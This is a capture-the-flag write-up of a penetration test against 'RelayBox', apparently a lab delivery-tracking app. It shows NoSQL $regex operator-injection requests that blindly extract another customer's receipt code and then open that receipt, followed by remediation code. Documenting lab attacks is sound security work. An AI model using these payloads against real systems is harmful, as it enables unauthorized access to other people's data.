RelayBox: NoSQL Operator Injection and Blind Receipt Code Extraction
Executive Summary
RelayBox is a delivery-tracking application: a React single-page app backed by a JSON API for shipments and proof-of-delivery receipts. Receipts are protected by a secret code, and the app exposes two endpoints around that code: a verification endpoint (/api/receipts/check) and an endpoint that opens the receipt (/api/receipts/open). Testing found that the verification endpoint passes the code value into its data-layer filter without validating its type, which allows NoSQL-style operator injection, and that neither endpoint checks whether the requested shipment belongs to the caller. Chaining the two defects, a self-registered account extracted another customer’s receipt code character by character and then opened their receipt.
Testing confirmed 1 finding:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | NoSQL operator injection in receipt code check → blind code extraction and cross-principal receipt disclosure | Medium | 6.5 | CWE-943, CWE-639 | POST /api/receipts/check (+ POST /api/receipts/open) |
The flag-bearing chain is the receipt disclosure: the extracted code unlocked the receipt for RB-7731-KM (Marigold Lane Pharmacy), whose delivery note contained the flag. The rating is contingent on open self-registration: registration was observed open and unapproved during testing, and if account creation required approval the finding drops toward Low because the attacker would need an existing account first.
Objective
Capture the flag for this RelayBox rotation (variant relaybox-007) after the application rotated its entire surface from the previous engagement. The only hint provided was “Regex”, and the winning chain bore it out: anchored $regex operator probes drove the extraction.
Scope / Initial Access
# Target Application
URL: https://lab-1794523989847-1vmrv4.labs-app.bugforge.io/
# Auth details
POST /api/auth/register with {name, email, password} → {"ok":true}
Session: relaybox_session cookie (HttpOnly) + X-CSRF-Token header
Starting privileges: fresh account, admin role in an auto-created workspace
Registration is open and requires no approval. Every /api/* path behind it answers unauthenticated requests with 401 {"error":"Please sign in."}; non-API paths serve the single-page app’s catchall.
Reconnaissance: Mapping the Receipt Surface
The previous RelayBox rotation’s surface (support-desk assistant, OAuth flow) returned 404 on every endpoint, confirming a full application rotation. The new surface was mapped from the bundle and authenticated API traffic.
GET /api/shipmentslists the caller’s workspace shipments and includesRB-7731-KM(recipient “Marigold Lane Pharmacy”,hasReceipt: true), a shipment that belongs to another customer. This motivated every later probe.- The demo shipment
RB-DEMO-01publishes its receipt code (RBX-a1b2c3) in the UI and bundle, which gave a positive control for the code format:RBX-followed by 6 lowercase alphanumeric characters. POST /api/receipts/checktakes{shipmentRef, code}and answers{"valid":true|false}, whilePOST /api/receipts/opentakes the same body and returns the full receipt. The app validatescodeonopenas a string of 1 to 64 characters before querying;checkperforms no such validation. That asymmetry madecheckthe first injection target.- The backend data layer accepted a JSON object where a string was expected (confirmed by the probe in observation 3), so operator-shaped values were in scope for body fields.
- Login validates email format server-side (“Enter a valid email.”). Noted as residual surface and not pursued.
Application Architecture
| Component | Detail |
|---|---|
| Backend | JSON API under /api/* behind a global authentication gate; data layer accepts Mongo-style operator objects in filter fields (engine not characterized) |
| Frontend | React SPA, Vite bundle /assets/index-D0D46qzd.js |
| Auth | relaybox_session cookie (HttpOnly) plus X-CSRF-Token header on state-changing requests |
| Database | Uncharacterized; filters demonstrably interpret operator objects |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
| /api/auth/register | POST | No | Auto-creates workspace, role admin |
| /api/auth/login | POST | No | Server-side email format validation |
| /api/auth/logout | POST | Yes | |
| /api/auth/me | GET | Yes | Returns user and CSRF token |
| /api/shipments | GET | Yes | Workspace shipment list, includes foreign shipments |
| /api/shipments/:ref | GET | Yes | Exact lookup, metadata only, works for refs not owned by the caller |
| /api/receipts/check | POST | Yes | {shipmentRef, code} → {valid}; no type validation on code |
| /api/receipts/open | POST | Yes | {shipmentRef, code} → receipt; validates code is a 1–64 character string before querying |
Attack Chain Visualization
┌────────────────────┐ ┌────────────────────┐ ┌────────────────────┐ ┌────────────────────┐
│ 1. Self-register │───▶│ 2. GET /api/ │───▶│ 3. /api/receipts/ │───▶│ 4. anchored │
│ → session + CSRF, │ │ shipments lists │ │ check with code as │ │ $regex prefix │
│ own workspace │ │ foreign shipment │ │ {"$regex":"RBX-.*"}│ │ probes on check │
│ │ │ RB-7731-KM │ │ → valid:true │ │ extract RBX-064114 │
└────────────────────┘ └────────────────────┘ └────────────────────┘ └────────────────────┘
│
▼
┌────────────────────────────────────────────────────┐
│ 5. POST /api/receipts/open with the string code → │
│ Marigold Lane Pharmacy receipt returned, flag in │
│ the delivery note │
└────────────────────────────────────────────────────┘
Findings
F1: NoSQL Operator Injection in Receipt Code Check → Blind Code Extraction and Cross-Principal Receipt Disclosure
Severity: Medium
CVSS v3.1: 6.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
CWE: CWE-943 (Improper Neutralization of Special Elements in Data Query Logic), CWE-639 (Authorization Bypass Through User-Controlled Key)
Endpoint: POST /api/receipts/check (chained to POST /api/receipts/open)
Authentication required: Yes (any self-registered account)
Description
Two defects compound:
- The
codevalue in thePOST /api/receipts/checkbody reaches the data-layer filter without type validation. Sending an object instead of a string injects operators into the filter:{"$regex":"RBX-.*"}returnedvalid: truefor the demo shipment, while a wrong plain-string code returnedvalid: false. Only$regexwas exercised; the data-layer engine was not characterized, so this is operator injection with uncharacterized engine, not a confirmed MongoDB deployment. - Neither
checknoropenverifies that the requested shipment belongs to the caller.RB-7731-KMbelongs to Marigold Lane Pharmacy, yet both endpoints answered for it using the attacker’s account and session. Scope caveat: only in-workspace shipment refs were tested, so this is a demonstrated cross-principal code-gate bypass, not a proven cross-workspace access.
Together they turn check into an unthrottled boolean oracle over receipt codes the caller does not own, and open into the disclosure step once the code is known.
Impact
Would allow any registered user to recover the secret receipt code of a shipment they do not own and then read the full receipt, including the delivery note. Receipts carry recipient name, delivery address, signatory, and free-form notes.
Reproduction
Step 1: Register an account
POST /api/auth/register HTTP/1.1
Host: lab-1794523989847-1vmrv4.labs-app.bugforge.io
Content-Type: application/json
{"name":"Pat Test","email":"[email protected]","password":"Testpass123!"}
Response: {"ok":true} with a relaybox_session cookie. Registration needs no approval and auto-creates a workspace.
Step 2: List shipments and pick a foreign target
GET /api/shipments HTTP/1.1
Host: lab-1794523989847-1vmrv4.labs-app.bugforge.io
Cookie: relaybox_session=<session>
Response: four shipments, including {"ref":"RB-7731-KM","recipient":"Marigold Lane Pharmacy",...,"hasReceipt":true}. The target shipment and its receipt belong to another customer.
Step 3: Confirm operator injection against the demo shipment
POST /api/receipts/check HTTP/1.1
Host: lab-1794523989847-1vmrv4.labs-app.bugforge.io
Content-Type: application/json
X-CSRF-Token: <csrf>
Cookie: relaybox_session=<session>
{"shipmentRef":"RB-DEMO-01","code":{"$regex":"RBX-.*"}}
Response: {"shipmentRef":"RB-DEMO-01","valid":true}. Control: the same request with a wrong plain-string code returns valid: false, so the object value is being interpreted as a filter operator, not matched literally.
Step 4: Blind-extract the real code for RB-7731-KM
An anchored probe pins the code’s length and character class against the foreign shipment:
POST /api/receipts/check HTTP/1.1
Host: lab-1794523989847-1vmrv4.labs-app.bugforge.io
Content-Type: application/json
X-CSRF-Token: <csrf>
Cookie: relaybox_session=<session>
{"shipmentRef":"RB-7731-KM","code":{"$regex":"^RBX-[a-z0-9]{6}$"}}
Response: {"shipmentRef":"RB-7731-KM","valid":true}. A prefix-extension loop then recovers the code character by character: each position tries candidate characters one request at a time against the script’s charset (letters, then digits, then - and _), so the cost scales with charset size times code length. The final prefix probe:
{"shipmentRef":"RB-7731-KM","code":{"$regex":"^RBX-064114"}}
Response: {"shipmentRef":"RB-7731-KM","valid":true}. The complete code is RBX-064114. No rate limiting was observed on the endpoint.
Step 5: Open the foreign receipt with the extracted code
POST /api/receipts/open HTTP/1.1
Host: lab-1794523989847-1vmrv4.labs-app.bugforge.io
Content-Type: application/json
X-CSRF-Token: <csrf>
Cookie: relaybox_session=<session>
{"shipmentRef":"RB-7731-KM","code":"RBX-064114"}
Response:
{"opened":true,"receipt":{"shipmentRef":"RB-7731-KM","recipient":"Marigold Lane Pharmacy","address":"14 Marigold Lane, Keswick","carrier":"RelayBox Secure","deliveredAt":"2026-10-20T11:48:00Z","signedBy":"P. Raman","parcels":1,"note":"Secure handover completed to the named pharmacist. Controlled-item authorisation reference: bug{b6v3usLKvYVNo9sC60EPHopLIakq16bi}"}}
The receipt note contains the flag. open validates code as a plain string, so the extraction has to run through check; once the real string is known, open accepts it.
Remediation
Fix 1: Validate the code type before it reaches the query layer
// BEFORE (Vulnerable)
// code is passed into the data-layer filter as provided
const filter = { shipmentRef: body.shipmentRef, code: body.code };
const match = await receipts.findOne(filter);
// AFTER (Secure)
const code = body.code;
if (typeof code !== "string" || code.length < 1 || code.length > 64) {
return res.status(400).json({ error: "Receipt code must be 1-64 characters." });
}
const filter = { shipmentRef: body.shipmentRef, code: code };
const match = await receipts.findOne(filter);
Fix 2: Scope both receipt endpoints to the caller’s shipments
This fix presumes workspace membership and shipment ownership are the same relationship. The tested workspace listed a foreign customer’s shipment with its hasReceipt flag, so if shipments are shared into a workspace across customers, the scoping query alone does not remove the access and the list itself is the leak (see the final additional recommendation).
// BEFORE (Vulnerable)
// endpoints trust shipmentRef from the body with no ownership check
const shipment = await shipments.findOne({ ref: body.shipmentRef });
// AFTER (Secure)
const shipment = await shipments.findOne({
ref: body.shipmentRef,
workspaceId: req.user.workspaceId,
});
if (!shipment) {
return res.status(404).json({ error: "Shipment not found." });
}
Additional recommendations:
- Share one validation path between
checkandopen; the current asymmetry between the two endpoints is what madecheckthe injection point. - Reject non-string values in JSON body fields at the request-parsing boundary rather than per endpoint.
- Rate-limit
check; the extraction ran unthrottled at one request per candidate character, with no ceiling on sequential requests. - Reconsider listing foreign shipments (with
hasReceiptflags) in the workspace shipment list, as the list is what hands the attacker a target ref.
OWASP Top 10 Coverage
- A03:2021 Injection: The
codefield is passed into a data-layer filter unvalidated, allowing operator objects to alter query logic. - A01:2021 Broken Access Control: Receipt endpoints act on shipment refs without verifying the requester owns the shipment, allowing a cross-principal code-gate bypass and receipt disclosure.
Tools Used
| Tool | Purpose |
|---|---|
| curl | All API probing and the extraction loop |
| jq | Session/CSRF handling in the extraction script |
| Bash extraction script | Prefix-extension loop over check (loot/evidence/extract.sh) |
| Browser devtools | Bundle review for the demo code format |
References
- CWE-943: Improper Neutralization of Special Elements in Data Query Logic
- CWE-639: Authorization Bypass Through User-Controlled Key
- OWASP Top 10 A03:2021 Injection
- OWASP Top 10 A01:2021 Broken Access Control
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
Regex metacharacters inside the code string (e.g. RBX-.* as a plain string) |
Exact-match only, valid: false |
String values are compared literally; the injection lives in the type axis (object vs string), not string content |
Operator object as code on /api/receipts/open |
Rejected: “Receipt code must be 1–64 characters.” | open validates type and length before querying; a spoofed length key in the object was rejected as well |
Regex in shipmentRef or in /api/shipments/:ref |
Exact lookup only | The ref is handled as an exact identifier on every path that accepts it |
Query params (ref, q, search) on GET /api/shipments |
Ignored | The list endpoint takes no filter input |
| Previous rotation’s surface (assistant, tickets, OAuth endpoints) | 404 on all old endpoints | The application rotated fully; nothing from relaybox-004 remains |
Unauthenticated probing of /api/receipt*, /track, /proof |
401 {"error":"Please sign in."} or SPA catchall |
Global authentication gate covers all /api/* paths |
Residual surface left untested: shipmentRef as an operator object on both receipt endpoints, other operators ($ne, $gt, $where), the login email format check as a bypass or ReDoS target, the exact mechanism of open’s length gate, and whether check/open honor refs from a different workspace.
Tags: #bugforge #nosql #operator-injection #blind-extraction #access-control
Document Version: 1.0
Last Updated: 2026-11-12